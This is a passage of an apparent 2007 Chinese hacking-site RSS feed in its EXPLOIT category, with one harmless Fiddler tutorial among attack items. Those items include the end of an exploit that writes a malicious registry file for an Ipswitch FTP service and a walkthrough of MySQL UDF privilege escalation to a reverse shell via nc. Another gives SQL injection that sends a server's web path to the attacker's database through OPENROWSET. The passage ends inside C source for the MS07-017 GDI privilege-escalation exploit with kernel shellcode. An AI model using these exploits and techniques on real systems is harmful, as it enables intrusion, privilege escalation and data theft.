=)<br/>&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&nbsp;&nbsp;CALL DWORD PTR DS:[EDX+90] and our code is at 0x00500040 in DS*/<br/>&#160;&#160;&#160;&#160;memset(evilbuff+215,0,1);<br/>&#160;&#160;&#160;&#160;<br/>&#160;&#160;&#160;&#160;regfile=fopen(argv[2],&#34;wb&#34;);<br/>&#160;&#160;&#160;&#160;fprintf(regfile,&#34;Windows Registry Editor Version 5.00\r\n\r\n&#34;);<br/>&#160;&#160;&#160;&#160;fprintf(regfile,&#34;[HKEY_LOCAL_MACHINE\\SOFTWARE\\Ipswitch\\iFtpSvc\\Domains\\%s\\Commands]\r\n\r\n&#34;,argv[1]);<br/>&#160;&#160;&#160;&#160;fprintf(regfile,&#34;[HKEY_LOCAL_MACHINE\\SOFTWARE\\Ipswitch\\iFtpSvc\\Domains\\%s\\Commands\\aa]\r\n\&#34;_Executable\&#34;=\&#34;%s\&#34;\r\n&#34;,argv[1],evilbuff);<br/>&#160;&#160;&#160;&#160;fprintf(regfile,&#34;\&#34;_Arguments\&#34;=\&#34;%s\&#34;\r\n&#34;,evilbuff);<br/>&#160;&#160;&#160;&#160;fprintf(regfile,&#34;\&#34;*everyone\&#34;=dword:000000ff\r\n\r\n&#34;);<br/>&#160;&#160;&#160;&#160;fclose(regfile);<br/>&#160;&#160;&#160;&#160;printf(&#34;[+] Done. Have fun!\n&#34;);<br/>&#160;&#160;&#160;&#160;return 0;<br/>&#160;&#160;&#160;&#160;<br/>}<br/><br/>// milw0rm.com [2007-04-02]<br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/133.htm</link>
			<title><![CDATA[WEBSHELL提升权限又一招（Mysql漏洞）]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 23:20:17 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=133</guid>
		<description><![CDATA[作者：hack520 来源：华夏黑客同盟<br /><br />S-serv提权方式人人都会用了，搞得现在的主机都配置得非常安全，看来攻击手法的层出不穷也是造成中国网络安全进步的一大原因之一，还有其他的pcanywhere获取密码，替换服务，等等。但是现在也没这么好搞了，随着安全意识的提高，之前的方式估计不怎么管用，现在我给大家介绍一下一种新的提权方式，看过古典LM做的那动画的朋友都知道吧？利用MYSQLl弱口令拿到系统权限，在WEBSHEL上也可实现，不过有个前提，就是目标主机装有MYSQL，而你又知道MYSQL的用户和密码，才可以进行提权。WEBSHELL获得了，找用户和密码也不是什么难事。现在我拿我另外一台机器做示范，已经把PHPSHELL传上去了，如图1<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183102_1003750627.jpg" alt="" /><br />一般来说连接MYSQL的帐户密码很好找，随便编辑一个PHP文件，就看到了。如图2<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183104_776542888.jpg" alt="" /><br />看到了吧，用户名：root 密码：123456 库名：php 然后怎么办呢？先用SQL Query 建立连接，如图3<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183107_2066492882.jpg" alt="" /><br />哈连接成功了，现在开始将我们的提权用滴东东:Mix.dll My_udf.dll上传上去先.OK，传好了，Mix.dll用于反弹连接，My_udf.dll是正向连接，直接用连接对方的3306端口然后输入密码就可获得CMDSHELL。好，不多说了，传上去之后呢就执行以下SQL语句create function Mixconnect returns string soname 'd:\\php\\php\\Mix.dll'; 来注册函数.<br />出现SQL语句成功执行！如图4<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183109_1129229044.jpg" alt="" /><br />离拿到CMDSHELL已经不远了，我们先用NC在本地监听一个端口先，Nc -l -p 1234 （这个我想不用截图了吧）而后执行语句：select Mixconnect('192.168.1.254','1234'); 来激活那个函数，如图5<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183112_1436297167.jpg" alt="" /><br />执行成功，然后看看我们的NC有反映没，如图6<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183114_852976791.jpg" alt="" /><br />成功得到CMSHELL，不过这时对方的MYSQL已经假死咯，我们要把MYSQL服务进程给kill掉，然后重新启动MYSQL服务才行，不然管理员发现网站运行不了了，那就。。。。如果该服务器不允许连接任何外部IP和端口，而他的3306端口却是对外开的！这时My_udf.dll就该上场了，使用方法和Mix一样，连接MYSQL成功后执行如下语句：create function my_udfdoor returns string soname 'D:\\php\\php\my_udf.dll'; 执行语句成功后，然后我们就开始激活这个函数，输入语句：select my_udfdoor (''); 然后用nc连接3306端口,然后输入fuck 就可以得到一个cmdshell了如图7<br /><img class="imgtag" src="http://photo1.yupoo.com/20070326/183117_310531260.jpg" alt="" /><br />OK成功！测试结束咯]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/132.htm</link>
			<title><![CDATA[HTTP调试工具：Fiddler介绍一]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 22:00:42 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=132</guid>
		<description><![CDATA[Fiddler工具介绍一<br />(原文地址：<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/IE_IntroFiddler.asp"><font color="#8d8c8c">http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnwebgen/html/IE_IntroFiddler.asp</font></a>)<br />
<p style="FONT-SIZE: 12pt"><br />这个工具我已经使用比较长时间了，对我的帮助也挺大，今天我翻译的微软的文章，让更多的朋友都来了解这个不错的工具，也是我第一次翻译文章，不恰当之处请大家大家多多指正。<br />介绍：</p>
<p style="FONT-SIZE: 12pt">你是不是曾经疑惑过你的web程序和IE是如何交互的？你是不是遇到过一些奇怪的而你又无法解决的性能瓶颈？你是不是对那些发送给服务器端的cookie 和那些你下载下来的被标记为可缓存的内容感到好奇？</p>
<p style="FONT-SIZE: 12pt">Fiddler官方网站及下载地址：<a href="http://www.fiddlertool.com/Fiddler/dev/"><font color="#8d8c8c">http://www.fiddlertool.com/Fiddler/dev/</font></a></p>
<p style="FONT-SIZE: 12pt">微软的Fiddler能够帮助你回答以上的问题，不但如此，它还是一个http调试代理，它能够记录所有的你电脑和互联网之间的http通讯，Fiddler 可以也可以让你检查所有的http通讯，设置断点，以及Fiddle 所有的&ldquo;进出&rdquo;的数据（指cookie,html,js,css等文件，这些都可以让你胡乱修改的意思）。 Fiddler&nbsp; 要比其他的网络调试器要更加简单，因为它仅仅暴露http通讯还有提供一个用户友好的格式。</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<p style="FONT-SIZE: 12pt">Fiddler 包含一个简单却功能强大的基于JScript .NET 事件脚本子系统，他非常灵活性非常棒，可以支持众多的http调试任务。Fiddler 是用C#写出来的。</p>
<p style="FONT-SIZE: 12pt">。。。。。接下来是一大段废话，关于如何安装的，只要一路next，就可以了。这段话我就跳过，直接切入正题了。</p>
<p style="FONT-SIZE: 12pt">Running Fiddler</p>
<p style="FONT-SIZE: 12pt">当你启动了Fiddler，程序将会把自己作为一个微软互联网服务的系统代理中去。你可以通过检查代理设置对话框来验证Fiddler是被正确地截取了web请求。操作是这样的：点击IE设置，工具，局域网设置，最后点击高级。<br /><shapetype id="_x0000_t75" coordsize="21600,21600" o:spt="75" o:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f">&nbsp;<img alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig01.gif" border="0" /><stroke joinstyle="miter"></stroke>
<formulas>
<f eqn="if lineDrawn pixelLineWidth 0"></f><f eqn="sum @0 1 0"></f><f eqn="sum 0 0 @1"></f><f eqn="prod @2 1 2"></f><f eqn="prod @3 21600 pixelWidth"></f><f eqn="prod @3 21600 pixelHeight"></f><f eqn="sum @0 0 1"></f><f eqn="prod @6 1 2"></f><f eqn="prod @7 21600 pixelWidth"></f><f eqn="sum @8 21600 0"></f><f eqn="prod @7 21600 pixelHeight"></f><f eqn="sum @10 21600 0"></f>
</formulas>
<path o:extrusionok="f" gradientshapeok="t" o:connecttype="rect"></path>
<lock v:ext="edit" aspectratio="t"></lock></shapetype></p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<p style="FONT-SIZE: 12pt">作为系统代理，所有的来自微软互联网服务（WinInet）的http请求再到达目标Web服务器的之前都会经过Fiddle，同样的，所有的Http响应都会在返回客户端之前流经Fiddler。这样，就能明白Fiddler很多作用了吧！<br /><img height="156" alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig02.gif" width="408" border="0" /></p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">当你关闭Fiddler的时候，它就会自动从系统注册表中移出，换句话说，当你关闭了Fiddler后，不会占着茅坑不拉屎。</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<p style="FONT-SIZE: 12pt">下面，是一个Fillder的用户界面，大家可以参考参考其功能。<br /></p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;<img alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig03.gif" border="0" /></p>
</p>
<h2>用Fiddler来做性能测试</h2>
<h2>
<p>&nbsp;</p>
HTTP统计视图</h2>
<p style="FONT-SIZE: 12pt">通过显示所有的Http通讯，Fiddler可以轻松的演示哪些用来生成一个页面，通过统计页面（就是Fiddler左边的那个大框）用户可以很轻松的使用多选，来得到一个WEB页面的&ldquo;总重量&rdquo;（页面文件以及相关js,css等）你也可以很轻松得看到你请求的某个页面，总共请求了多少次，以及多少字节被转化了。<br /></p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;<img height="195" alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig04.gif" width="416" border="0" /></p>
</p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<p style="FONT-SIZE: 12pt">另外，通过暴露HTTP头，用户可以看见哪些页面被允许在客户端或者是代理端进行缓存。如果要是一个响应没有包含Cache-Control 头，那么他就不会被缓存在客户端。<br /></p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<img height="74" alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig05.gif" width="314" border="0" /><br /><br />用Fiddler来调试
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">Fiddler支持断点调试概念，当你在软件的菜单&mdash;rules&mdash;automatic breakpoints选项选择beforerequest,或者当这些请求或响应属性能够跟目标的标准相匹配，Fiddler就能够暂停Http通讯，情切允许修改请求和响应。这种功能对于安全测试是非常有用的，当然也可以用来做一般的功能测试，因为所有的代码路径都可以用来演习。</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;<img height="486" alt="" src="http://www.cnblogs.com/images/cnblogs_com/framework/ie_introfiddler_fig06.gif" width="412" border="0" /></p>
</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<h2>Session检查</h2>
<p style="FONT-SIZE: 12pt">用户可以在BuilderPage项种来以手工的方式来创建一个HTTP请求（即在Fiddler右侧的tab的第三个，RequestBUILDER），或者可以使用拖拽操作从Session列表中来移动一个已经存在的请求到builder page 来再次执行这个请求。。。</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<h2>Fiddler 扩展</h2>
<p style="FONT-SIZE: 12pt">Fiddler可以使用 .net framework来对它进行扩展。有2种为Fiddler扩展准备的基本机制：</p>
<p style="FONT-SIZE: 12pt">自定义规则，和规则检查。</p>
<h2>使用脚本化的规则来扩展Fiddler</h2>
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<pre>&nbsp;</pre>
Fiddler支持JScript .NET引擎，它可以允许用户自动地修改Http请求和响应。这个引擎能够在可视化界面修改在FiddlerUI中的Session，可以从列表中提取你感兴趣的错误，也可以移除你不感兴趣的Session。
<p style="FONT-SIZE: 12pt">&nbsp;</p>
<p style="FONT-SIZE: 12pt">以下的示例代码演示当cookie被加载的时候把界面变成紫色。</p>
<pre>static function OnBeforeRequest(oSession:Fiddler.Session)</pre>
<pre>{</pre>
<pre>&nbsp;&nbsp; if (oSession.oRequest.headers.Exists(&quot;Cookie&quot;)){</pre>
<pre>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oSession[&quot;ui-color&quot;] = &quot;purple&quot;;</pre>
<pre>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; oSession[&quot;ui-bold&quot;] = &quot;cookie&quot;;</pre>
<pre>&nbsp;&nbsp; }</pre>
<pre>}</pre>
<h3>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
通过加入Inspectors来扩展Fiddler</h3>
<p style="FONT-SIZE: 12pt">用户可以加入一个Inspector插件对象，来使用.net下的任何语言来编写Fiddler扩展。RequestInspectors 和 ResponseInspectors提供一个格式规范的，或者是被指定的（用户自定义）Http请求和响应视图。</p>
<p style="FONT-SIZE: 12pt">默认安装中，Fiddler加入了一下的Inspectors：</p>
<p style="FONT-SIZE: 12pt">Request Inspectors</p>
<p style="FONT-SIZE: 12pt">[RW] Headers&mdash;Shows request headers and status. </p>
<p style="FONT-SIZE: 12pt">[RW] TextView&mdash;Shows the request body in a text box. （原始的请求body视图）</p>
<p style="FONT-SIZE: 12pt">[RW] HexView&mdash;Shows the request body in a hexadecimal view. （body的16进制视图）</p>
<p style="FONT-SIZE: 12pt">[RO] XML&mdash;Shows the request body as an XML DOM in a tree view.（以XML方式展示请求）</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>
<p style="FONT-SIZE: 12pt">Response Inspectors</p>
<p style="FONT-SIZE: 12pt">[RW] Transformer&mdash;Removes GZip, DEFLATE, and CHUNKED encodings for easier debugging. </p>
<p style="FONT-SIZE: 12pt">[RW] Headers&mdash;Shows response headers and status. </p>
<p style="FONT-SIZE: 12pt">[RW] TextView&mdash;Shows the response body in a text box. </p>
<p style="FONT-SIZE: 12pt">[RW] HexView&mdash;Shows the response body in a hexadecimal view. （16进制视图）</p>
<p style="FONT-SIZE: 12pt">[RO] ImageView&mdash;Shows the response body as an Image. Supports all .NET image formats.</p>
<p style="FONT-SIZE: 12pt">[RO] XML&mdash;Shows the response body as an XML DOM in a tree view. </p>
<p style="FONT-SIZE: 12pt">[RO] Privacy&mdash;Explains the P3P statement in the response headers, if present.（如果在响应头中有关于隐私策略的说明就展示出来）</p>
<p style="FONT-SIZE: 12pt">
<p>&nbsp;</p>
</p>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/131.htm</link>
			<title><![CDATA[外国牛人是怎么挖掘微软漏洞的]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 21:52:02 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=131</guid>
		<description><![CDATA[信息来源：混世魔王blog<br/>w3wp remote DoS due to improper reference of STA COM components in ASP.NET<br/>asp.net COM 的 DOS EXP 研究<br/>牛文下载地址.以及EXP<br/><br/>::URL::<a href="http://hackingspirits.com/vuln-rnd/w3wp-remote-dos.zip" target="_blank" rel="external">http://hackingspirits.com/vuln-rnd/w3wp-remote-dos.zip</a><br/><br/>文章提到漏洞挖掘工具 fiddler 可以到 fiddlertool 的站上down.地址忘了。也懒得帖了。<br/><br/>加栽rpas 组件可以对HTTPS 进行探测.<br/><br/>研究学习一下 CRLF injection .<br/><br/>镜像下载：<a href="http://201314.free.fr/attachments/200704/w3wp-remote-dos.zip" target="_blank" rel="external">http://201314.free.fr/attachments/200704/w3wp-remote-dos.zip</a> <br/>]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/130.htm</link>
			<title><![CDATA[渗透中用openrowset搞shell的方法]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 21:48:40 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=130</guid>
		<description><![CDATA[得到SQL注入点,首先想到的是BACKUP WEBSHELL,扔在NB里跑一圈,发现屏蔽了SQL错误信息,得不到物理路径,那还写个PP马了.<br/>联想到一个权限不是很高的命令openrowset,进行跨库服务器查询,就是把一个SQL命令发送到远程数据库,然后看返回的结果,但是要启动事件跟踪!我们可以把网站信息写入数据库,然后%$^%$@#$@^%$~<br/>首先在自己机器建立SQL数据库<br/><br/>然后在对方机器上建立个表 cr&#101;ate table [dbo].[fenggou]([cha8][char](255))--<br/><br/>在对方执行 DECLARE @result varchar(255) exec master.dbo.xp_regread &#39;HKEY_LOCAL_MACHINE&#39;,&#39;SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots&#39;, &#39;/&#39; ,@result output ins&#101;rt into fenggou (cha8) values(&#39;Sel&#101;ct a.* FROM OPENROWSET(&#39;&#39;SQLOLEDB&#39;&#39;,&#39;&#39;自己的IP&#39;&#39;;&#39;&#39;sa&#39;&#39;;&#39;&#39;你的密码&#39;&#39;, &#39;&#39;Sel&#101;ct * FROM pubs.dbo.authors wh&#101;re au_fname=&#39;&#39;&#39;&#39;&#39; + @result + &#39;&#39;&#39;&#39;&#39;&#39;&#39;)AS a&#39;);--<br/><br/>这样fenggou这个表里就会有这样一条记录Sel&#101;ct a.* FROM OPENROWSET(&#39;SQLOLEDB&#39;,&#39;自己的IP&#39;;&#39;sa&#39;;&#39;你的密码&#39;, &#39;Sel&#101;ct * FROM pubs.dbo.authors wh&#101;re au_fname=&#39;&#39;D:\WEB,,1&#39;&#39;&#39;)AS a<br/><br/>不用说,&#39;&#39;D:\WEB&#34;就是从注册表里读出的物理路径拉.然后执行DECLARE @a1 char(255) set @a1=(Sel&#101;ct cha8 FROM fenggou) exec (@a1);--<br/><br/>等于执行了Sel&#101;ct a.* FROM OPENROWSET(&#39;SQLOLEDB&#39;,&#39;自己的IP&#39;;&#39;sa&#39;;&#39;你的密码&#39;, &#39;Sel&#101;ct * FROM pubs.dbo.authors wh&#101;re au_fname=&#39;&#39;D:\WEB,,1&#39;&#39;&#39;)AS a<br/><br/>OK,这时你在你机器上SQL事件追踪器上就会显示Sel&#101;ct * FROM pubs.dbo.authors wh&#101;re au_fname=&#39;D:\WEB,,1&#39;<br/>哇 哈哈哈哈哈 物理路径到手了 写小马传大马吧~]]></description>
		</item>
		
			<item>
			<link>http://www.cnshark.net/article/129.htm</link>
			<title><![CDATA[MS Windows GDI Local Privilege Escalation Exploit ]]></title>
			<author>support@cnshark.net(admin)</author>
			<category><![CDATA[EXPLOIT]]></category>
			<pubDate>Wed,11 Apr 2007 21:45:11 +0800</pubDate>
			<guid>http://www.cnshark.net/default.asp?id=129</guid>
		<description><![CDATA[#define _WIN32_WINNT 0x0500<br/>#include &lt;windows.h&gt;<br/>#include &lt;shlwapi.h&gt;<br/>#include &lt;stdio.h&gt;<br/><br/>#pragma comment (lib, &#34;user32.lib&#34;)<br/>#pragma comment (lib, &#34;gdi32.lib&#34;)<br/>#pragma comment (lib, &#34;shlwapi.lib&#34;)<br/>#pragma comment (lib, &#34;ntdll.lib&#34;)<br/><br/>/*<br/>Here is a sploit for the GDI MS07-017 Local Privilege Escalation, presented during the last blackhat conferences<br/>by Joel Ericksson. Modify the GdiTable of the current process and by calling good API&#39;s changean entry of the<br/>win32k&#39;s SSDT by 0x2.<br/><br/>before :<br/>lkd&gt; dps bf998300 L 2<br/>bf998300 bf934921 win32k!NtGdiAbortDoc<br/>bf998304 bf94648d win32k!NtGdiAbortPath<br/><br/>after :<br/>lkd&gt; dps bf998300 L 2<br/>bf998300 00000002<br/>bf998304 bf94648d win32k!NtGdiAbortPath<br/><br/>win32k.sys bDel&#101;teBrush (called by Del&#101;teObject)<br/>mov esi, [edx] ;esi=pKernelInfo<br/>cmp [esi+4], ebx ; ebx=0, we need [esi+4]&gt;0<br/>mov eax, [edx+0Ch]<br/>mov [ebp+var_8], eax<br/>ja short loc_BF80C1E7 ;jump if [esi+4] &gt; 0<br/><br/>loc_BF80C1E7:<br/>mov eax, [esi+24h] ; [esi+24] = addr to hijack (here win32k SSDT)<br/>mov dword ptr [eax], 2 ; !!!!!<br/><br/>At 0x2 we allocate memory with NtAllocateVirtualMemory and we copy our payload.<br/><br/>Tested on windows xp sp2 french last up&#100;ates (before MS07-017)<br/><br/>Coded by Ivanlef0u.<br/><a href="http://ivanlef0u.free.fr" target="_blank" rel="external">http://ivanlef0u.free.fr</a><br/><br/>ref:<br/><a href="http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx" target="_blank" rel="external">http://www.Mcft.com/technet/security/bulletin/MS07-017.mspx</a><br/><a href="http://research.eeye.com/html/alerts/zeroday/20061106.html" target="_blank" rel="external">http://research.eeye.com/html/alerts/zeroday/20061106.html</a><br/><a href="http://projects.info-pull.com/mokb/MOKB-06-11-2006.html" target="_blank" rel="external">http://projects.info-pull.com/mokb/MOKB-06-11-2006.html</a><br/><a href="https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf" target="_blank" rel="external">https://www.blackhat.com/presentations/bh-eu-07/Eriksson-Janmar/Whitepaper/bh-eu-07-eriksson-WP.pdf</a><br/><a href="http://www.securityfocus.com/bid/20940/info" target="_blank" rel="external">http://www.securityfocus.com/bid/20940/info</a><br/>*/<br/><br/>typedef struct<br/>{<br/> DWORD pKernelInfo;<br/> WORD ProcessID;<br/> WORD _nCount;<br/> WORD nUpper;<br/> WORD nType;<br/> DWORD pUserInfo;<br/>} GDITableEntry;<br/><br/>typedef enum _SECTION_INFORMATION_CLASS {<br/>SectionBasicInformation,<br/>SectionImageInformation<br/>}SECTION_INFORMATION_CLASS;<br/><br/>typedef struct _SECTION_BASIC_INFORMATION { // Information Class 0<br/>PVOID BaseAddress;<br/>ULONG Attributes;<br/>LARGE_INTEGER Size;<br/>}SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION;<br/><br/>extern &#34;C&#34; ULONG __stdcall NtQuerySection(<br/> IN HANDLE SectionHandle,<br/> IN SECTION_INFORMATION_CLASS SectionInformationClass,<br/> OUT PVOID SectionInformation,<br/> IN ULONG SectionInformationLength,<br/> OUT PULONG ResultLength OPTIONAL<br/>);<br/><br/>extern &#34;C&#34; ULONG __stdcall NtAllocateVirtualMemory(<br/> IN HANDLE ProcessHandle,<br/> IN OUT PVOID *BaseAddress,<br/> IN ULONG ZeroBits,<br/> IN OUT PULONG AllocationSize,<br/> IN ULONG AllocationType,<br/> IN ULONG Protect<br/>);<br/><br/>typedef LONG NTSTATUS;<br/><br/>#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)<br/>#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)<br/><br/>typedef struct _UNICODE_STRING {<br/>USHORT Length;<br/>USHORT MaximumLength;<br/>PWSTR Buffer;<br/>} UNICODE_STRING, *PUNICODE_STRING;<br/><br/>typedef enum _SYSTEM_INFORMATION_CLASS {<br/>SystemModuleInformation=11,<br/>} SYSTEM_INFORMATION_CLASS;<br/><br/>typedef struct _SYSTEM_MODULE_INFORMATION { // Information Class 11<br/>ULONG Reserved[2];<br/>PVOID Base;<br/>ULONG Size;<br/>ULONG Flags;<br/>USHORT Index;<br/>USHORT Unknown;<br/>USHORT LoadCount;<br/>USHORT ModuleNameOffset;<br/>CHAR ImageName[256];<br/>} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;<br/><br/>extern &#34;C&#34; NTSTATUS __stdcall NtQuerySystemInformation( <br/> IN SYSTEM_INFORMATION_CLASS SystemInformationClass,<br/> IN OUT PVOID SystemInformation,<br/> IN ULONG SystemInformationLength,<br/> OUT PULONG ReturnLength OPTIONAL<br/>);<br/><br/>extern &#34;C&#34; ULONG __stdcall RtlNtStatusToDosError(<br/> NTSTATUS Status<br/>);<br/><br/>// generic kernel payload, reboot the b0x<br/>unsigned char Shellcode[]={<br/>0x60, //PUSHAD<br/>0x55, //PUSH EBP<br/><br/>0x6A, 0x34,<br/>0x5B,<br/>0x64, 0x8B, 0x1B,<br/>0x8B, 0x6B, 0x10,<br/><br/>0x8B, 0x45, 0x3C,<br/>0x8B, 0x54, 0x05, 0x78,<br/>0x03, 0xD5,<br/>0x8B, 0x5A, 0x20,<br/>0x03, 0xDD,<br/>0x8B, 0x4A, 0x18,<br/>0x49,<br/>0x8B, 0x34, 0x8B,<br/>0x03, 0xF5,<br/>0x33, 0xFF,<br/>0x33, 0xC0,<br/>0xFC,<br/>0xAC,<br/>0x84, 0xC0,<br/>0x74, 0x07,<br/>0xC1, 0xCF, 0x0D,<br/>0x03, 0xF8,<br/>0xEB, 0xF4,<br/>0x81, 0xFF, 0x1f, 0xaa ,0xf2 ,0xb9, //0xb9f2aa1f, KEBugCheck<br/>0x75, 0xE1,<br/>0x8B, 0x42, 0x24,<br/>0x03, 0xC5,<br/>0x66, 0x8B, 0x0C, 0x48,<br/>0x8B, 0x42, 0x1C,<br/>0x03, 0xC5,<br/>0x8B, 0x04 ,0x88,<br/>0x03, 0xC5,<br/><br/>0x33, 0xDB,<br/>0xB3, 0xE5,<br/>0x53,<br/>0xFF, 0xD0,<br/><br/>0x5D, //POP EBP<br/>0x61, //POPAD<br/>0xC3 //RET<br/>}; <br/><br/>ULONG GetWin32kBase()<br/>{<br/> ULONG i, Count, Status, BytesRet;<br/> PSYSTEM_MODULE_INFORMATION pSMI;<br/> <br/> Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, 0, &amp;BytesRet); //allocation length<br/> if(Status!=STATUS_INFO_LENGTH_MISMATCH)<br/> printf(&#34;Error with NtQuerySystemInformation : 0x%x : %d \n&#34;, Status, RtlNtStatusToDosError(Status));<br/> <br/> pSMI=(PSYSTEM_MODULE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, BytesRet);<br/> <br/> Status=NtQuerySystemInformation(SystemModuleInformation, pSMI, BytesRet, &amp;BytesRet);<br/> <br/> if(Status!=STATUS_SUCCESS)<br/> printf(&#34;Error with NtQuerySystemInformation : 0x%x : %d \n&#34;, Status, RtlNtStatusToDosError(Status));<br/> <br/> /*<br/> The data returned to the SystemInformation buffer is a ULONG count of the number of<br/> handles followed immediately by an array of<br/> SYSTEM_MODULE_INFORMATION.<br/> */<br/> <br/> Count=*(PULONG)pSMI;<br/> pSMI=(PSYSTEM_MODULE_INFORMATION)((PUCHAR)pSMI+4);<br/> <br/> for(i=0; i&lt;Count; i++)<br/> { <br/> if(StrStr((pSMI+i)-&gt;ImageName, &#34;win32k.sys&#34;))<br/> return (ULONG)(pSMI+i)-&gt;Base;<br/> }<br/> <br/> HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pSMI);<br/> <br/> return 0; <br/>} <br/><br/> <br/>ULONG buff[500]={0};<br/> <br/>int main(int argc, char* argv[])<br/>{<br/> ULONG i, PID, Status, Old;<br/> LPVOID lpMapAddress=NULL;<br/> HANDLE hMapFile=(HANDLE)0x10;<br/> GDITableEntry *gdiTable;<br/> SECTION_BASIC_INFORMATION SBI;<br/> WORD Upr;<br/> ULONG Size=0x1000;<br/> PVOID Addr=(PVOID)0x2;<br/> <br/> printf(&#34;Windows GDI MS07-017 Local Privilege Escalation Exploit\nBy Ivanlef0u\n&#34;<br/> &#34;<a href="http://ivanlef0u.free.fr" target="_blank" rel="external">http://ivanlef0u.free.fr</a>\n&#34;<br/> &#34;Be MAD!\n&#34;);<br/> <br/> //allocate memory at addresse 0x2<br/> Status=NtAllocateVirtualMemory((HANDLE)-1, &amp;Addr, 0, &amp;Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);<br/> if(Status)<br/> printf(&#34;Error with NtAllocateVirtualMemory : 0x%x\n&#34;, Status);<br/> else<br/> printf(&#34;Addr : 0x%x OKAY\n&#34;, Addr); <br/> <br/> memcpy(Addr, Shellcode, sizeof(Shellcode));<br/> <br/><br/> printf(&#34;win32.sys base : 0x%x\n&#34;, GetWin32kBase());<br/> <br/> ULONG Win32kSST=GetWin32kBase()+0x198300; //range between win32k imagebase and it&#39;s SSDT<br/> printf(&#34;SSDT entry : 0x%x\n&#34;, Win32kSST); //win32k!NtGdiAbortDoc<br/> <br/> <br/> <br/> HBRUSH hBr;<br/> hBr=Cr&#101;ateSolidBrush(0);<br/><br/> Upr=(WORD)((DWORD)hBr&gt;&gt;16);<br/> printf(&#34;0x%x\n&#34;, Upr);<br/><br/> while(!lpMapAddress)<br/> {<br/> hMapFile=(HANDLE)((ULONG)hMapFile+1);<br/> lpMapAddress=MapViewOfFile(hMapFile, FILE_MAP_ALL_ACCESS, 0, 0, 0);<br/> }<br/><br/> if(lpMapAddress==NULL)<br/> {<br/> printf(&#34;Error with MapViewOfFile : %d\n&#34;, GetLastError());<br/> return 0;<br/> }<br/><br/> Status=NtQuerySection(hMapFile, SectionBasicInformation, &amp;SBI, sizeof(SECTION_BASIC_INFORMATION), 0);<br/> if (Status) //!=STATUS_SUCCESS (0)<br/> {<br/> printf(&#34;Error with NtQuerySection (SectionBasicInformation) : 0x%x\n&#34;, Status);<br/> return 0;<br/> }<br/><br/> printf(&#34;Handle value : %x\nMapped address : 0x%x\nSection size : 0x%x\n\n&#34;, 